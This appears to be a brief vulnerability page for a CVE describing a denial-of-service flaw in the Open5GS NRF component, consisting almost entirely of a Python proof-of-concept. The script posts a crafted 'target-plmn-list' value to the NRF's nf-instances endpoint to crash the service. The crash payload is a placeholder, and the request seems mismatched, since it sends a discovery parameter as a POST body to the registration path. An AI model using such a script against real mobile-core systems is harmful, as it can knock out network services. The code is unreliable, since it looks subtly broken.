CVE-2026-8728 Open5GS NRF组件拒绝服务漏洞

import requests # Target URL of the Open5GS NRF instance # Note: Actual endpoint path may vary depending on configuration target_url = "http://<target-ip>:<port>/nnrf-nfm/v1/nf-instances" # Malicious payload targeting the vulnerable parameter # The vulnerability lies in 'ogs_sbi_discovery_option_parse_plmn_list' # Sending a malformed 'target-plmn-list' triggers the crash payload = { "target-plmn-list": "<malformed_data_to_trigger_crash>" } try: # Sending the request to exploit the vulnerability response = requests.post(target_url, json=payload, timeout=5) print(f"Status Code: {response.status_code}") print("Check if the service has crashed.") except requests.exceptions.RequestException as e: print(f"Request failed or service unavailable (potential DoS): {e}")